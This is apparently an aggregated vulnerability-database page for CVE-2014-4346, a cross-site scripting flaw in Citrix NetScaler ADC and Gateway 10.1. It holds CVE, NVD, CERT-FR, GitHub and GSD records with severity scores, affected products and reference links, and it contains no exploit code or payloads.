CVE-2014-4346 (GCVE-0-2014-4346)

Vulnerability from cvelistv5 – Published: 2014-07-16 14:00 – Updated: 2024-08-06 11:12

Summary

Severity

No CVSS data available.

CWE

Assigner

mitre mitre root

References

9 references

URL	Tags
https://www.sec-consult.com/fxdata/seccons/prod/t…	x_refsource_MISC
http://www.securitytracker.com/id/1030573	vdb-entryx_refsource_SECTRACK
http://support.citrix.com/article/CTX140863	x_refsource_CONFIRM
https://exchange.xforce.ibmcloud.com/vulnerabilit…	vdb-entryx_refsource_XF
http://secunia.com/advisories/59942	third-party-advisoryx_refsource_SECUNIA
http://seclists.org/fulldisclosure/2014/Jul/77	mailing-listx_refsource_FULLDISC
http://www.securitytracker.com/id/1030572	vdb-entryx_refsource_SECTRACK
http://www.securityfocus.com/archive/1/532802/100…	mailing-listx_refsource_BUGTRAQ
http://www.securityfocus.com/bid/68535	vdb-entryx_refsource_BID

Date Public

2014-07-15 00:00

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T11:12:35.131Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
          },
          {
            "name": "1030573",
            "tags": [
              "vdb-entry",
              "x_refsource_SECTRACK",
              "x_transferred"
            ],
            "url": "http://www.securitytracker.com/id/1030573"
          },
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "http://support.citrix.com/article/CTX140863"
          },
          {
            "name": "citrix-netscaler-cve20144346-xss(94493)",
            "tags": [
              "vdb-entry",
              "x_refsource_XF",
              "x_transferred"
            ],
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
          },
          {
            "name": "59942",
            "tags": [
              "third-party-advisory",
              "x_refsource_SECUNIA",
              "x_transferred"
            ],
            "url": "http://secunia.com/advisories/59942"
          },
          {
            "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
            "tags": [
              "mailing-list",
              "x_refsource_FULLDISC",
              "x_transferred"
            ],
            "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
          },
          {
            "name": "1030572",
            "tags": [
              "vdb-entry",
              "x_refsource_SECTRACK",
              "x_transferred"
            ],
            "url": "http://www.securitytracker.com/id/1030572"
          },
          {
            "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
            "tags": [
              "mailing-list",
              "x_refsource_BUGTRAQ",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
          },
          {
            "name": "68535",
            "tags": [
              "vdb-entry",
              "x_refsource_BID",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/68535"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2014-07-15T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2018-10-09T18:57:01.000Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
        },
        {
          "name": "1030573",
          "tags": [
            "vdb-entry",
            "x_refsource_SECTRACK"
          ],
          "url": "http://www.securitytracker.com/id/1030573"
        },
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "http://support.citrix.com/article/CTX140863"
        },
        {
          "name": "citrix-netscaler-cve20144346-xss(94493)",
          "tags": [
            "vdb-entry",
            "x_refsource_XF"
          ],
          "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
        },
        {
          "name": "59942",
          "tags": [
            "third-party-advisory",
            "x_refsource_SECUNIA"
          ],
          "url": "http://secunia.com/advisories/59942"
        },
        {
          "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
          "tags": [
            "mailing-list",
            "x_refsource_FULLDISC"
          ],
          "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
        },
        {
          "name": "1030572",
          "tags": [
            "vdb-entry",
            "x_refsource_SECTRACK"
          ],
          "url": "http://www.securitytracker.com/id/1030572"
        },
        {
          "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
          "tags": [
            "mailing-list",
            "x_refsource_BUGTRAQ"
          ],
          "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
        },
        {
          "name": "68535",
          "tags": [
            "vdb-entry",
            "x_refsource_BID"
          ],
          "url": "http://www.securityfocus.com/bid/68535"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2014-4346",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt",
              "refsource": "MISC",
              "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
            },
            {
              "name": "1030573",
              "refsource": "SECTRACK",
              "url": "http://www.securitytracker.com/id/1030573"
            },
            {
              "name": "http://support.citrix.com/article/CTX140863",
              "refsource": "CONFIRM",
              "url": "http://support.citrix.com/article/CTX140863"
            },
            {
              "name": "citrix-netscaler-cve20144346-xss(94493)",
              "refsource": "XF",
              "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
            },
            {
              "name": "59942",
              "refsource": "SECUNIA",
              "url": "http://secunia.com/advisories/59942"
            },
            {
              "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
              "refsource": "FULLDISC",
              "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
            },
            {
              "name": "1030572",
              "refsource": "SECTRACK",
              "url": "http://www.securitytracker.com/id/1030572"
            },
            {
              "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
              "refsource": "BUGTRAQ",
              "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
            },
            {
              "name": "68535",
              "refsource": "BID",
              "url": "http://www.securityfocus.com/bid/68535"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2014-4346",
    "datePublished": "2014-07-16T14:00:00.000Z",
    "dateReserved": "2014-06-20T00:00:00.000Z",
    "dateUpdated": "2024-08-06T11:12:35.131Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2014-4346",
      "date": "2026-09-22",
      "epss": "0.01684",
      "percentile": "0.75979"
    },
    "nvd": {
      "cve": {
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:o:citrix:netscaler_application_delivery_controller_firmware:10.1:*:*:*:*:*:*:*",
                    "matchCriteriaId": "FD151FA3-8B96-48AF-B908-C29EAE88EF5B",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              },
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:h:citrix:netscaler_application_delivery_controller:-:*:*:*:*:*:*:*",
                    "matchCriteriaId": "81FD5100-3ADB-4C21-BCE5-CDA7C4C1D8B9",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ],
            "operator": "AND"
          },
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:o:citrix:netscaler_access_gateway_firmware:10.1:*:*:*:*:*:*:*",
                    "matchCriteriaId": "0BA6FD03-E65E-49FE-ABA2-C4BCFEE7AA50",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              },
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:h:citrix:netscaler_access_gateway:-:-:enterprise:*:*:*:*:*",
                    "matchCriteriaId": "4D5D5DFC-F456-4085-BE20-13BD38301B04",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ],
            "operator": "AND"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors."
          },
          {
            "lang": "es",
            "value": "Vulnerabilidad de XSS en la interfaz del usuario de administraci\u00f3n en Citrix NetScaler Application Delivery Controller (ADC) y NetScaler Gateway (anteriormente Access Gateway Enterprise Edition) 10.1 anterior a 10.1-126.12 permite a atacantes remotos inyectar secuencias de comandos web o HTML arbitrarios a trav\u00e9s de vectores no especificados."
          }
        ],
        "id": "CVE-2014-4346",
        "lastModified": "2026-05-06T22:30:45.220",
        "metrics": {
          "cvssMetricV2": [
            {
              "acInsufInfo": false,
              "baseSeverity": "MEDIUM",
              "cvssData": {
                "accessComplexity": "MEDIUM",
                "accessVector": "NETWORK",
                "authentication": "NONE",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "confidentialityImpact": "NONE",
                "integrityImpact": "PARTIAL",
                "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
                "version": "2.0"
              },
              "exploitabilityScore": 8.6,
              "impactScore": 2.9,
              "obtainAllPrivilege": false,
              "obtainOtherPrivilege": false,
              "obtainUserPrivilege": false,
              "source": "nvd@nist.gov",
              "type": "Primary",
              "userInteractionRequired": true
            }
          ]
        },
        "published": "2014-07-16T14:19:03.997",
        "references": [
          {
            "source": "cve@mitre.org",
            "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
          },
          {
            "source": "cve@mitre.org",
            "url": "http://secunia.com/advisories/59942"
          },
          {
            "source": "cve@mitre.org",
            "tags": [
              "Vendor Advisory"
            ],
            "url": "http://support.citrix.com/article/CTX140863"
          },
          {
            "source": "cve@mitre.org",
            "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
          },
          {
            "source": "cve@mitre.org",
            "url": "http://www.securityfocus.com/bid/68535"
          },
          {
            "source": "cve@mitre.org",
            "url": "http://www.securitytracker.com/id/1030572"
          },
          {
            "source": "cve@mitre.org",
            "url": "http://www.securitytracker.com/id/1030573"
          },
          {
            "source": "cve@mitre.org",
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
          },
          {
            "source": "cve@mitre.org",
            "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "http://secunia.com/advisories/59942"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Vendor Advisory"
            ],
            "url": "http://support.citrix.com/article/CTX140863"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "http://www.securityfocus.com/bid/68535"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "http://www.securitytracker.com/id/1030572"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "http://www.securitytracker.com/id/1030573"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
          }
        ],
        "sourceIdentifier": "cve@mitre.org",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      }
    }
  }
}

CERTFR-2014-AVI-311

Vulnerability from certfr_avis - Published: 2014-07-15 - Updated: 2014-07-15

De multiples vulnérabilités ont été corrigées dans Citrix NetScaler Application Delivery Controller et Citrix NetScaler Gateway. Elles permettent à un attaquant de provoquer une injection de code indirecte à distance (XSS).

Solution

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

None

Impacted products

	Vendor	Product	Description
	Citrix	NetScaler Gateway	NetScaler Application Delivery Controller versions antérieures à 9.3-62.4
	Citrix	NetScaler Gateway	NetScaler Gateway versions antérieures à 10.1-126.12

References

Title

Publication Time

FKIE_CVE-2014-4346

Vulnerability from fkie_nvd - Published: 2014-07-16 14:19 - Updated: 2026-06-17 00:09

Severity

Summary

References

URL	Tags
cve@mitre.org	http://seclists.org/fulldisclosure/2014/Jul/77
cve@mitre.org	http://secunia.com/advisories/59942
cve@mitre.org	http://support.citrix.com/article/CTX140863	Vendor Advisory
cve@mitre.org	http://www.securityfocus.com/archive/1/532802/100/0/threaded
cve@mitre.org	http://www.securityfocus.com/bid/68535
cve@mitre.org	http://www.securitytracker.com/id/1030572
cve@mitre.org	http://www.securitytracker.com/id/1030573
cve@mitre.org	https://exchange.xforce.ibmcloud.com/vulnerabilities/94493
cve@mitre.org	https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt
af854a3a-2127-422b-91ae-364da2661108	http://seclists.org/fulldisclosure/2014/Jul/77
af854a3a-2127-422b-91ae-364da2661108	http://secunia.com/advisories/59942
af854a3a-2127-422b-91ae-364da2661108	http://support.citrix.com/article/CTX140863	Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108	http://www.securityfocus.com/archive/1/532802/100/0/threaded
af854a3a-2127-422b-91ae-364da2661108	http://www.securityfocus.com/bid/68535
af854a3a-2127-422b-91ae-364da2661108	http://www.securitytracker.com/id/1030572
af854a3a-2127-422b-91ae-364da2661108	http://www.securitytracker.com/id/1030573
af854a3a-2127-422b-91ae-364da2661108	https://exchange.xforce.ibmcloud.com/vulnerabilities/94493
af854a3a-2127-422b-91ae-364da2661108	https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt

Impacted products

Vendor	Product	Version
citrix	netscaler_application_delivery_controller_firmware	10.1
citrix	netscaler_application_delivery_controller	-
citrix	netscaler_access_gateway_firmware	10.1
citrix	netscaler_access_gateway	-

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "source": "cve@mitre.org"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:citrix:netscaler_application_delivery_controller_firmware:10.1:*:*:*:*:*:*:*",
              "matchCriteriaId": "FD151FA3-8B96-48AF-B908-C29EAE88EF5B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:citrix:netscaler_application_delivery_controller:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "81FD5100-3ADB-4C21-BCE5-CDA7C4C1D8B9",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:citrix:netscaler_access_gateway_firmware:10.1:*:*:*:*:*:*:*",
              "matchCriteriaId": "0BA6FD03-E65E-49FE-ABA2-C4BCFEE7AA50",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:citrix:netscaler_access_gateway:-:-:enterprise:*:*:*:*:*",
              "matchCriteriaId": "4D5D5DFC-F456-4085-BE20-13BD38301B04",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors."
    },
    {
      "lang": "es",
      "value": "Vulnerabilidad de XSS en la interfaz del usuario de administraci\u00f3n en Citrix NetScaler Application Delivery Controller (ADC) y NetScaler Gateway (anteriormente Access Gateway Enterprise Edition) 10.1 anterior a 10.1-126.12 permite a atacantes remotos inyectar secuencias de comandos web o HTML arbitrarios a trav\u00e9s de vectores no especificados."
    }
  ],
  "id": "CVE-2014-4346",
  "lastModified": "2026-06-17T00:09:50.637",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "MEDIUM",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "confidentialityImpact": "NONE",
          "integrityImpact": "PARTIAL",
          "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 8.6,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": true
      }
    ]
  },
  "published": "2014-07-16T14:19:03.997",
  "references": [
    {
      "source": "cve@mitre.org",
      "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
    },
    {
      "source": "cve@mitre.org",
      "url": "http://secunia.com/advisories/59942"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "http://support.citrix.com/article/CTX140863"
    },
    {
      "source": "cve@mitre.org",
      "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
    },
    {
      "source": "cve@mitre.org",
      "url": "http://www.securityfocus.com/bid/68535"
    },
    {
      "source": "cve@mitre.org",
      "url": "http://www.securitytracker.com/id/1030572"
    },
    {
      "source": "cve@mitre.org",
      "url": "http://www.securitytracker.com/id/1030573"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://secunia.com/advisories/59942"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "http://support.citrix.com/article/CTX140863"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://www.securityfocus.com/bid/68535"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://www.securitytracker.com/id/1030572"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://www.securitytracker.com/id/1030573"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-RF98-23W8-RPX5

Vulnerability from github – Published: 2022-05-14 02:51 – Updated: 2022-05-14 02:51

Details

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2014-4346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-07-16T14:19:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
  "id": "GHSA-rf98-23w8-rpx5",
  "modified": "2022-05-14T02:51:54Z",
  "published": "2022-05-14T02:51:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4346"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
    },
    {
      "type": "WEB",
      "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59942"
    },
    {
      "type": "WEB",
      "url": "http://support.citrix.com/article/CTX140863"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/68535"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1030572"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1030573"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GSD-2014-4346

Vulnerability from gsd - Updated: 2023-12-13 01:22

Details

Aliases

CVE-2014-4346

Aliases

CVE-2014-4346

JSON

To clipboard

{
  "GSD": {
    "alias": "CVE-2014-4346",
    "description": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
    "id": "GSD-2014-4346",
    "references": [
      "https://packetstormsecurity.com/files/cve/CVE-2014-4346"
    ]
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2014-4346"
      ],
      "details": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
      "id": "GSD-2014-4346",
      "modified": "2023-12-13T01:22:45.308527Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "cve@mitre.org",
        "ID": "CVE-2014-4346",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "n/a",
                    "version": {
                      "version_data": [
                        {
                          "version_value": "n/a"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "n/a"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors."
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "lang": "eng",
                "value": "n/a"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt",
            "refsource": "MISC",
            "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
          },
          {
            "name": "1030573",
            "refsource": "SECTRACK",
            "url": "http://www.securitytracker.com/id/1030573"
          },
          {
            "name": "http://support.citrix.com/article/CTX140863",
            "refsource": "CONFIRM",
            "url": "http://support.citrix.com/article/CTX140863"
          },
          {
            "name": "citrix-netscaler-cve20144346-xss(94493)",
            "refsource": "XF",
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
          },
          {
            "name": "59942",
            "refsource": "SECUNIA",
            "url": "http://secunia.com/advisories/59942"
          },
          {
            "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
            "refsource": "FULLDISC",
            "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
          },
          {
            "name": "1030572",
            "refsource": "SECTRACK",
            "url": "http://www.securitytracker.com/id/1030572"
          },
          {
            "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
            "refsource": "BUGTRAQ",
            "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
          },
          {
            "name": "68535",
            "refsource": "BID",
            "url": "http://www.securityfocus.com/bid/68535"
          }
        ]
      }
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:citrix:netscaler_application_delivery_controller_firmware:10.1:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:citrix:netscaler_application_delivery_controller:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          },
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:citrix:netscaler_access_gateway_firmware:10.1:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:citrix:netscaler_access_gateway:-:-:enterprise:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2014-4346"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
